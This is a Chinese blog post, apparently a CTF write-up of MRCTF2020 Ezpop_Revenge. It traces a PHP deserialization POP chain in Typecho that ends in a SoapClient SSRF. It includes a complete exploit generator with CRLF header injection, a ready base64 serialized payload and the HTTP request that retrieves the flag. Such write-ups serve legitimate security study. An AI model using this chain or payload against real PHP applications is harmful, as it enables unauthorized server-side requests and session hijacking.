Ricky's Blog


[MRCTF2020]Ezpop_Revenge (Soap SSRF)
2021-02-05

[MRCTF2020]Ezpop_Revenge (Soap SSRF)

一道 typecho 1.2 的反序列化

首先 /www.zip 下载源码

打开来就可以看到 flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

需要 ssrf 才可以得到flag, 接着需要找到输入口

www/usr/plugins/HellowWorld/Plugins.php 找到输入口

<?php
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
...
    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }

这儿的action一般是自动加载的,当路由加载类是会自动加载某个函数,所以我们直接搜索这个类的名称

www/var/Typecho/Plugins.php 中, 触发 HelloWorld 这个插件

    public static function activate($pluginName)
    {
        self::$_plugins['activated'][$pluginName] = self::$_tmp;
        self::$_tmp = array();
        Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
    }

这句代码的意思就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们输入点的路由为/page_admin

结合输入点的反序列化,本题考的是soapssrf

www/usr/plugins/HellowWorld/Plugins.php 有个 HelloWorld_DB 类, 通过 __wakeup() 建立新的类 Typecho_Db, 跟进

www/var/Typecho/Db.php 中,

    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");// __toString()
        }

Typecho_Db__construct 中发现字符串拼接,这个时候肯定需要调用某个类的 __tostring,因为 $adapterName 可控

www/var/Typecho/Db/Query.php

    public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }
}

假如Typecho_Db::SELECT(静态值)的值为SELECT,则跟进$this->_adapter
发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了

    /**
     * 数据库适配器
     *
     * @var Typecho_Db_Adapter
     */
    private $_adapter;

梳理一下pop链

首先时/usr下的Plugins.php反序列化调用HelloWorld_DB触发Typecho_Db类,并且可以控制其中的$adapterName
$adapterName拼接到字符串中,触发__tostring,所以这个时候我们使得$adapterNameQuery.php中的Typecho_Db_Query类,并且控制私有变量$_adapter为soap类来本地访问flag.php , 这个时候再访问soap的parseSelect方法,但是此方法并不存在,所以就会触发soap的__call方法来打到本地访问的目的

->是对bai象执行方法或取得属性用的

=>是数组里键和值对应用的

给出exp

<?php

class HelloWorld_DB{
    private $coincidence;

    function  __construct(){
        $this->coincidence = (['hello' => new Typecho_Db_Query(), 'world' => 'typecho_']);
    }
}

class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}

class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = 'http://127.0.0.1/flag.php';
        $headers = array(
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=ahgq13r0m77b326teu6rbf5854'
        );
        $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'=>"aaab"));
        $this->_sqlPreBuild = array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}

$a = serialize(new HelloWorld_DB());
$a = str_replace('^^',"\r\n",$a);
$a = str_replace('&','&',$a);
echo base64_encode($a);

这个时候先生成序列化的值,然后再做一些小处理
私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错
这个时候需要将s改为S,并添加\00

本题貌似不需要这样做也可以, 已测试

我们soap访问的PHPSESSID的值为 ahgq13r0m77b326teu6rbf5854

这个时候访问/page_admin页面, 抓包填入以下数据即可得到flag

POST /page_admin?admin=1 HTTP/1.1
Cookie: PHPSESSID=ahgq13r0m77b326teu6rbf5854
C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7czoyNjoiAEhlbGxvV29ybGRfREIAY29pbmNpZGVuY2UiO2E6Mjp7czo1OiJoZWxsbyI7TzoxNjoiVHlwZWNob19EYl9RdWVyeSI6Mjp7czozMDoiAFR5cGVjaG9fRGJfUXVlcnkAX3NxbFByZUJ1aWxkIjthOjE6e3M6NjoiYWN0aW9uIjtzOjY6IlNFTEVDVCI7fXM6MjY6IgBUeXBlY2hvX0RiX1F1ZXJ5AF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJhYWFiIjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo4MDoiSHl5TWJiXl5YLUZvcndhcmRlZC1Gb3I6IDEyNy4wLjAuMV5eQ29va2llOiBQSFBTRVNTSUQ9YWhncTEzcjBtNzdiMzI2dGV1NnJiZjU4NTQiO3M6MTM6Il9zb2FwX3ZlcnNpb24iO2k6MTt9fXM6NToiV29ybGQiO3M6ODoidHlwZWNob18iO319

知识点: 为啥要更换s,和添加\00,而不是直接编码

private属性会在反序列化的生成一个标志性的%00

  • PHP序列化的时候privateprotected变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。
  • private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。
  • 同理,protected属性会引入\x00*\x00
  • 此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:”AB“;̀ -> S:5:”A\00B\09\0D”;

参考文献

MRCTF Ezpop_Revenge小记

MRCTF2020 web Ezpop_Revenge

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部